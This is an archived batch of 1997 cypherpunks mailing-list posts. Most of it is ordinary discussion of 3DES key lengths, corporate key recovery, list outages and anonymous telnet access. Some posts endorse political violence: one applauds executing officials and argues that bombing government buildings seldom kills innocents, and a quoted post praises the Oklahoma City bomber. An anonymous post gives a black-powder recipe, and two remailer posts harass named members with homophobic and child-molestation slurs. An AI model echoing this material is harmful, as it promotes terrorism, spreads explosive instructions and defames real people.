> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
>
>



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 13 May 1997 08:21:36 +0800
To: cypherpunks <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
Message-ID: <Pine.LNX.3.95.970512171358.1229A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Black Unicorn wrote:

> As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
> keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

That's only the best case (for the cryptanalyst).  Breaking 3DES with
only 2^112 encryptions requires 2^56 plaintext-ciphertext pairs.
Schneier says this is about 10^17 bytes.

> I dislike this line of argument for several reasons.  It reduces security
> to the lowest common denominator.  Because, the argument goes, few people
> will use more than a 21 character passphrase, then we need not design
> anything with more security.
>
> In reality, I think that the percentage of people who use more than an 8
> character passphrase, especially outside these circles, is small.
> Following your logic, our high end of security should be about 48 bits.

Very true.  I was not arguing that security should be reduces to the
lowest common denominator but that using excessively long key sizes does
little good.  Anything over 256 bits is, IMHO, overkill and 160 bits is
enough to make brute-force attacks infeasible.

> It costs little today to develop a cipher with larger keyspace.  (DES with
> independent subkeys already exists and has a basic keyspace of 768 bits.
> A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> the cipher briefly).  If users are willing to deal with large keys (I
> certainly am) then software designers are restraining a more secure
> implementation.

I'm very suspicious of any cipher with independant subkeys.  Apparently,
this makes chosen-key attacks *very* easy.  Chosen-key attacks aren't
very practical, but it doesn't give me a good feeling about the relative
security of the cipher.  Some combination, like triple-DES using variable
S-boxes would probably be a little more secure.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 13 May 1997 11:26:01 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970512200506.006d0f1c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


frissell@panix.com wrote:

>But Blanc,what if "It Takes A Village to Raise a Child" and the village is
trying to raise my child against my will.  In that case, the only way to
handle things is to destroy the village.  Not to save it,but to save my child.
>
>Think about it.
......................................................

Well, I thought about it, while the list was on vacation.   
You're right, Duncan.  Where should we start?

Truthfully, I don't think you've stockpiled any explosives to use for such
an act, and even if you had, I don't believe you would use them.   You'd
have to pay someone else to do the deed, and even so you'd probably start
reflecting on all those other people's itty bitty children who would have
to lose their lives in that total destruction, and chicken out.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 12:03:42 +0800
To: cypherpunks@toad.com
Subject: VideoWorld Justice
Message-ID: <199705130319.UAA03346@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From "Video Justice" TV show:
  "The video camera has evolved from passive observer to active
participant" (in the war on crime).

  Golly gee, government wants to use video cameras to monitor citizens
everywhere, all the time, and now we have a primetime TV show dedicated
to convincing the citizens that the surveillance camera is their best
friend. What a coincidence!

  With a dozen TV shows already championing law enforcement personnel
with neatly pressed uniforms saving the citizens from bad guys wearing
T-shirts, its refreshing to see fresh propaganda which informs us that
surveillance technology is our new best friend.
  It was so enlightening to hear criminologists and prosecutors praise
the emotional charge generated by seeing perpetrators "laugh" as they
"terrorized" people by shooting them with paintball guns resulting in
their receiving four years in prison instead of the one year that the
prosecutor expected.
  ( 4 perps x 4 years x $65,000/year = > $ 1,000,000.00 of taxpayer
money spent to incarcerate people who splatter someone with paint and
laugh about it. If Tim May owns a paintball gun, then I guess that he
can add to his list of potential felonies.)

  We also learn that surveillance cameras are "Invaluable weapons of 
enforcement in government stings" and that "The evidence they provide 
is incontestable."
  It sounds like we will no longer need judges and juries once the
citizens are fully monitored.
  We are told that John Law is protected from claims of entrapment
by the irrefutable evidence provided by their video taping of the
government sting. Naturally, we only see a selective two minute
tape of the entire operation. No video/sound recording of the setup
of the victim/criminal is shown.

  There was no video shown of police brutality (ala Rodney King) and
no questioning of why the technology is only geared toward showing
what goes on in front of the camera, leaving the citizen unprotected
once the officer takes him or her out its visual range.
  (Of course, any deviation from the "Sainthood of Authority" script
would result in the show's producers losing access to the cheap source
of their video propaganda.)

  Where is the legislation being put forth to require law enforcement
personnel under video surveillance to prevent them from engaging in
crimes against the citizens? Harassing them, beating them, becoming 
the source of crack flowing into their neighborhoods, spending hours
and days manipulating them into a two-minute video scene which is 
staged to provide "incontestable evidence" of their guilt.
  Video cameras are commonplace to watch the citizens in banks in
case someone tries to "steal" a few hundred or a few thousand
dollars. Where are the video cameras that watch the bankers in
order to provide evidence of their possible criminal actions?

  Video surveillance technology is the same old story. Provide a few
emotionally charged scenes to scare the citizens, offer them a form
of "protection" and then institute the technology in a one-way
vector which points only at those on the bottom of the food chain.
  Same technological shit, different day.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 12:21:50 +0800
To: cypherpunks@toad.com
Subject: ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
Message-ID: <3.0.1.32.19970512203150.0065c3e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Sender: Law & Policy of Computer Communications
>              <CYBERIA-L@LISTSERV.AOL.COM>
>From: "Abramson, Ron" <abramson@HUGHESHUBBARD.COM>
>Subject:      ANNOUNCEMENT Crypto Forum May 22, 1997, New York City
>
>Cryptography Forum
>May 22, 1997 at 7:00 p.m.
>Association of the Bar of the City of New York
>22 West 44th Street, New York City
>
>Interested persons are invited to attend.  No fee or
>reservation is required.
>
>TITLE OF PROGRAM:
>Guns, Ammunition and Cryptography: Is the Government's
>Policy on Digital Encryption Creating a Crisis?
>
>A moderated panel will discuss issues raised by the
>Government's policy on cryptography.
>
>MODERATOR:
>Charles R. Nesson, Professor, Harvard Law School
>
>PANELISTS:
>Jim Bidzos
>President and CEO, RSA Data Security, Inc.
>
>Scott Charney
>Computer Crime Unit, Department of Justice
>
>Kenneth W. Dam
>Professor, University of Chicago Law School; Chair,
>National Research Council Committee to Study National
>Cryptography Policy
>
>Dorothy E. Denning
>Professor, Computer Science Department, Georgetown
>University
>
>David J. Farber
>Professor, Computer and Information Science and Electrical
>Engineering Departments, University of Pennsylvania
>
>Marc Rotenberg
>Director, Electronic Privacy Information Center
>
>Sponsored by the Committees on Computer Law, Civil Rights,
>Science and the Law, and Symposia, of the Association of
>the Bar of the City of New York
>
>For additional information, e-mail jzammit@fulbright.com or
>dcohen@bway.net
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 03:18:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
Message-ID: <199705121902.VAA20704@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 13 May 1997 09:25:53 +0800
To: cypherpunks@toad.com
Subject: Dr. Vulis
Message-ID: <199705130108.VAA28040@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
computer masturbating at his own imagined cleverness.
 
             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Dimi (Closet Homo) Vulis





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 22:37:40 +0800
To: Monique Lamont <alice0@hotmail.com>
Subject: Re: whine politics again
In-Reply-To: <199705111833.LAA28472@f33.hotmail.com>
Message-ID: <Pine.LNX.3.91.970512210606.266A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> on the subject of wine-importing restrictions in florida:
> 
> tcmay wrote:
> > Chiles and his co-conspirators should be shot for high crimes > against the
> > Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> > 
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
> 
> oh yaah.  you betcha.
> 
> it's illegal to ship wine to floridans now, so therefore it is okay 
> to execute the responsible officials and blow up innocents.

The blowing up of innocents is something no-one on this list would agree 
with were it not entirely necessary. Indeed I myself would have great 
problems in justifying the killing of even 1 innocent person by calling 
the fight for liberty "war".

Execution of the responsible officials would be no crime. I applaud the 
sentiments of those who support this viewpoint, and would respect the 
bravery and fortitude of anyone who carried out such an act, provided 
they recognised the necessary step of taking precautions against injuring 
innocent bystanders (tm).

> no doubt there are hundreds of cypherpunks out there nodding
> their heads in blithe agreement at this point.

Of course, but you have twisted this point to imply that Tim meant to say 
the killing of innocents was something to be "brushed aside" as a 
necessary step. Maybe Tim does feel that the loss of a few innocent lives 
in a war situation is justifiable, I have problems with this and have 
said so in previous posts, but I can see the logic behind it, this seems 
to me a very slippery and difficult question to answer, YMMV.

> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.

Common human decency, almost like common sense, the metaphysics of savages.

Your definition of common human decency must be fatally flawed if you 
believe the actions of the criminal bureacrats in the system do not 
justify the executions of these evil officials. It is merely an act of 
self defence to execute people who violate the rights of other people. 

You are the one who seems to need to get the proverbial clue, If you 
merely mean to say that the killing of innocents in the name of "war" is 
not justifiable, then I have a great deal of sympathy and a certain 
amount of agreement with your point of view, if you mean to say that the 
execution of those who violate our rights is not justified as a form of 
self defence or even as a form of punishment for their crimes then you 
could not be further from the truth.

Also, on a slightly more practical point, as I have said, if one was to 
bomb any major commercial or government building the chances of killing a 
truly innocent person are fairly small anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 22:56:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Interlinked Cypherpunks Lists?
In-Reply-To: <v03007800af9d068330c1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970512212330.266B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> bounce (more precisely: "<cypherpunks@cyberpass.net>... Deferred:
> Connection timed out with rigel.cyberpass.net. Warning: message still
> undelivered after 4 hours").

I too didn`t see some of my articles come through, I`m subscribed to 
cyberpass.net, Your copied traffic appears to have come through now 
though. When I did have trouble sending I pinged cyberpass.net and it was 
up, so I presume it was just a majordomo problem.

> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

Yes, I still get a LOT of duplicates, after checking several times that 
I was only subscribed to one list. I`m not running procmail at the moment 
(still playing with linux) and I seem to remember the duplicates nearly 
always have *different* message IDs, is there a procmail recipe to kill 
these?

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks@cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

This would be an excellent idea, if the sites kept a "who cypherpunks" 
on each other they could do a ping every hour or so to check the site was 
up and if not add the users in the "who" list to their subscriber list.
Is this possible with majordomo or some sort of script, list operators? 

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

Hmm, this rather kills the idea of a distibuted system which is 
impossible to censor. I know this isn`t really a necessary system as I`m 
sure we all trust the list operators who run the sites, but it is a very 
cypherpunk idea and I rather like seeing it in action.

I can see problems with the current system, most notably the duplicates, 
but if these can be either killfiled on reciept, or even better, tweaking 
of the majordomos can remove them at source, the system will be very 
stable and useable, as it is the duplicates are not too great a problem, 
just an annoying quirk of the system, but it would be nice to see the 
back of them. 

This message is probably off topic as it talks about practical use of 
technology as opposed to ethics and blowing up poloticians, in which case 
I appologise, back to ranting and anarchism ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 13 May 1997 12:58:31 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970512214932.006d4e8c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
>A turn-of-the-new-century Phabian Society needs a Stalin to make it's
>dreams reality?
>
>Be careful what you wish for, ladies and germs...
.............................................................


Well, now, what exactly do you mean?   How does this relate to bombing a
village, with all its communists & captives, out of existence?

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 13 May 1997 13:09:49 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: PGP
In-Reply-To: <199705130047.RAA24073@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970512223606.107274C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that the 
> state of California wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 13 May 1997 13:14:37 +0800
To: cypherpunks@toad.com
Subject: Re: `careerpunks'
Message-ID: <199705130448.WAA20281@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Seems to me many of the `cypherpunks' have become `careerpunks' and
> are now more interested in trading crypto tips, trade gossip, than in
> cypherpunks projects.
> 
> They went through the phase of buying kewl domain names (take a look
> down the subscriber lists), tinkering with remailers, and have now
> graduated to making money from crypto consulting, and lost interest in
> the issues where they don't add to the bottom line.

  People go through life changes and often try on different types of
attire/lifestyles at various points along their time-line. Hopefully,
they gather a few viewpoints and ideals along the way which will stay
with them throughout the outward changes in their interests and
directions in life.
  Doubtlessly, the cypherpunks list has sown many seeds of free thought
which are growing in different ways throughout the cryptography 
industry. If enough of these seeds have sprouted successfully then
there us always the possibility that the discussions on this list will
play a part in a modicum of free thought being a part of the process
by which future corporate decisions are made.

  Once one's consciousness (and conscience) has been exposed to a 
variety of viewpoints and influences it is harder to dismiss the views
of others out-of-hand.
  Immersing oneself in a narrower technological arena of crypto interest
such as is provided on the coderpunks and cryptography list is no doubt
beneficial to increased crypto-technical expertise. For those who choose
to retain their soul in the process, the cypherpunks list serves as an
island of anarchy in which the tendency to merge into corporate robot-
icism can be countered.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 13 May 1997 06:00:29 +0800
To: cypherpunks@algebra.com
Subject: cyberpass.net got a problem?
Message-ID: <199705122156.WAA02582@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hardly any traffic at all today.

Is cyberpass.net ok?

I sent a `who cypherpunks' to majordomo@cyberpass.net and got a
response back instantly from sirius.infonex.com, so it's _there_.

Most of the small amount of traffic that there is, seems to be from
algebra.com and toad.com.

I've just subscribed to algebra.com, in case I'm missing out on
articles (my procmail will kill duplicates if any).

How are people on algebra.com finding the traffic?  (2 articles dated
12th in total as of 21:40 GMT (+0)).

Adam
--
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 13 May 1997 14:33:38 +0800
To: John Young <jya@pipeline.com>
Subject: Re: List of Explosives
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512225720.00740e50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 5/10/97 -0400, John Young wrote:
>The correct URL for the latest ATF list of explosives:
>
>   http://jya.com/atf042597.xt

The even more explosively correct URL is

	http://jya.com/atf042597.txt

Includes many old favorites, misses a few popular ones, uses inconsistent
forms for a few, and throws in some catchalls like
	Explosive liquids.
	Explosive powders.
(but surprisingly, not "Explosive gas mixtures"  :-)

-----------------------------------------------------------------------
[Federal Register: April 25, 1997 (Volume 62, Number 80)]
[Notices]
[Page 20242-20244]
>From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr25ap97-106]
-----------------------------------------------------------------------


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 13 May 1997 13:33:04 +0800
To: cypherpunks@toad.com
Subject: ZDNet Special Offer: WebINNOVATION Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.26876.05121997200006.112432@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
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--To subscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 13 May 1997 14:23:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: <19970512230928.46454@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 12, 1997 at 11:28:19AM +0200, Alan Barrett wrote:
> On Sun, 11 May 1997, Kent Crispin wrote:
> > In the multiple recipient case, therefore, the master 
> > key is potentially used quite frequently, and hence much more 
> > exposed.  There are many other differences: I won't try to go into 
> > detail here.
> 
> Good point.
> 
> I happen to think that using the master key to decrypt documents is better
> practice than using the master key to obtain copies of other keys, but I
> can see both sides of this argument.

Your secretary of many years changes her passphrase, then forgets it. 
She has literally thousands of documents encrypted under that key. 
You tell her "There was a memo I put out two years ago -- we
formulated a quote for them, and *I need that number*." So you call in
the company security officer to decrypt all those documents, which 
are filed in several different places?  Contrast this with just 
restoring the key.

[...]

> You are repeating your fallacy of assuming that the key safe (KS) case has
> one policy for all users and the multiple recipients (MR) case has
> different policies for different users.  The truth is that the two issues
> (which model to use, and how many different policies to make visible to
> the users' software) are orthogonal.  You can have KS with a different key
> safe for each user, and you can have MR with the same extra recipients for
> each user.

The models I have assumed are: KS -- a single keysafe and multiple 
clients; MR -- a single master key generating point, and multiple 
clients.  In the KS model all the clients talk to a single server, 
and there is no policy issue.  In the MR case, if there is a single 
master key there is no policy issue that impacts the clients, but if 
there are multiple master keys then different clients are configured 
differently, according to the policy, and that configuration is 
controlled centrally.

I confess that I hadn't considered the case of multiple keysafes in
the same organization -- and for very large organizations you might
want to do that.  But the whole point of a keysafe is that you
concentrate expense protecting the keysafe, and, in practice, it seems
to me, the boundaries between keysafe domains (to coin a term) would
be pretty well defined.  And, the only policy issue for KS clients is 
which keysafe to talk to.  This is pretty much fixed at installation 
time. 

> > Sigh.  The situations are really quite different.  In the KS
> > case the policy never impacts the software; in the MR case I don't 
> > think you can avoid it.
> 
> Sigh.  The same fallacy again.
> 
> In the KS case, the software must know which key safe to use and how to
> secure and authenticate access to the key safe.
> 
> In the MR case, the software must know which extra recipients to add, and
> the corresponding public keys.
> 
> In both cases, the software is affected to some minimum extent.  In both
> cases, you can choose to make the software more complex by adding more
> policy knowledge.  In neither case are you forced to add more than the
> minimum amount of policy information to the software.

You *could* design a system with multiple distributed keysafes, 
perhaps in an effort to minimize exposure, but I think this would be 
the worst of both worlds.

> > > > Access to the key-safe is critical, of course, but it can be made very
> > > > secure -- a special-purpose piece of hardware that requires passwords
> > > > from n out of m key czars before access is granted, for example.
> > > > Or the contents of the key safe can be encrypted via keys escrowed
> > > > through a secret sharing mechanism
> > > 
> > > The same problems and solutions apply in both the CAK case and in the
> > > "corporate key as extra crypto recipient" case.
> > 
> > Not at all. The corporate master key is used to decrypt documents in the 
> > MR case; in the KS case the master key is used to get to the key 
> > database.
> 
> What I meant was, you can make n-of-m hardware stuff for both cases.
> Surely you don't disagree with that?

I don't disagree that you *could* do it.  I think it unlikely that you
would do it for the multiple recipient case.  I believe that in the MR
case the master key(s) (especially if there are multiple master keys)
would use exactly the same encryption algorithm as the normal
encryption case.  That is the obvious, straightforward way to do it. 
If you use another encryption algorithm for the master then you have a
whole raft of other problems to deal with.

And it would be crazy to require the presence of N people to decrypt 
any file with the master key -- consider the case of your secretary...

> > >   - With CAK, every time a user creates a new key, the user's software
> > >     needs to talk to teh key safe.  This needs a secure channel, which
> > >     raises further authentication problems (how does the user know that
> > >     he's not talking to a fake key safe).  These don't arise in the
> > >     non-CAK case.
> > 
> > Not so.  You have to exactly the same issue -- how does the user find 
> > out the master key to encrypt to?
> 
> Finding out which key to encrypt to in the MR case is analagous to finding
> out which key safe to talk to in the KS case.  Securing and authenticating
> the channel to the key safe in the KS case is an extra issue that does not
> have a counterpart in the MR case.

??  How do you know that the channel through which you get the master 
key in the MR case is secure?  You surely don't just pull it off the 
net.  It's signed?  Then the problem just recurses -- how do you know 
the signature is good?  This is exactly the problem you have 
contacting the keysafe.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Tue, 13 May 1997 14:35:41 +0800
To: harka@nycmetro.com
Subject: Re: Telnet Anonymous
In-Reply-To: <TCPSMTP.17.5.12.8.34.14.2780269260.1636483@nycmetro.com>
Message-ID: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:34 AM 5/12/97 -0500, harka@nycmetro.com wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>E-Mail...NYM-Servers
>WWW...Anonymizer
>Telnet...??
>
>How does one telnet anonymously to another system, assuming that
>one's home system has identd?
>
>Thanks already in advance...

Did you look at getting an anonymous account at cyberpass.net? 

Try http://www.cyberpass.net

Note, they tend to be strict about not using it for illegal activity, but
highly supportive for general anonymous use.

Then again you could set up some type of applet scheme, but I doubt anyone
would be willing to keep it active. 


	Adam, Esq.

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 13 May 1997 06:45:45 +0800
To: cypherpunks@algebra.com
Subject: `careerpunks'
Message-ID: <199705122216.XAA02603@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



[This post cc cypherpunks@algebra.com & cypherpunks@cyberpass.net to
aid propogation which seems to be struggling.]

In trying to figure out which lists were working, I noticed that there
are now many more people on coderpunks and cryptography than there are
on cypherpunks... take a look at these figures:

  713 cryptography@c2.net
  713 coderpunks@toad.com
  245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates

Seems to me many of the `cypherpunks' have become `careerpunks' and
are now more interested in trading crypto tips, trade gossip, than in
cypherpunks projects.

They went through the phase of buying kewl domain names (take a look
down the subscriber lists), tinkering with remailers, and have now
graduated to making money from crypto consulting, and lost interest in
the issues where they don't add to the bottom line.

Oh yeah, I know you might argue that selling crypto is a good thing,
and it is, but the two are not completely focused in the same
direction: corporate, or consulting interests want to sell crypto, to
export crypto, cypherpunks want tools to increase the power of the
individual.

An example of this different focus is perhaps the SAFE bill.  Lots of
corporates seem keen on SAFE, because it increases their market place.
Individuals right to use crypto in the US can go to hell.

Before anyone leaps down my throat, the above is a gross
generalisation, and is intended as food for thought only.  I know
plenty of you who are involved in the crypto business and who haven't
lost your ideals, and think SAFE is a bad deal, etc.

However, I think the trend exists.

Adam

(btw coderpunks won't give you it's subscriber list unless you're
subscribed)
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 13 May 1997 12:07:47 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970512200506.006d0f1c@cnw.com>
Message-ID: <v03020994af9d92f73c83@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 pm -0400 on 5/12/97, Blanc wrote:

> Truthfully, I don't think you've stockpiled any explosives to use for such
> an act, and even if you had, I don't believe you would use them.   You'd
> have to pay someone else to do the deed, and even so you'd probably start
> reflecting on all those other people's itty bitty children who would have
> to lose their lives in that total destruction, and chicken out.

Ah. A 90's version of Freddy Hayek's "Road to Serfdom", maybe?
A turn-of-the-new-century Phabian Society needs a Stalin to make it's
dreams reality?

Be careful what you wish for, ladies and germs...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 13 May 1997 13:05:48 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>
Message-ID: <35im7D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
> Seriously, I doubt anybody on this list is going to do something violent.
> That doesn't mean I think that nobody in the world is willing to nuke DC. I
> am told that quite a few Russian nukes are unaccounted for. Just for the

I didn't do it. :-)

> record, I believe that it considerably more likely for New York City to be
> nuked than DC.

If I were to bet, I'd bet that Tel Aviv would be the first target, before
any U.S. city. (I'm not saying it's good or bad, I just think that's more
likely to happen.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
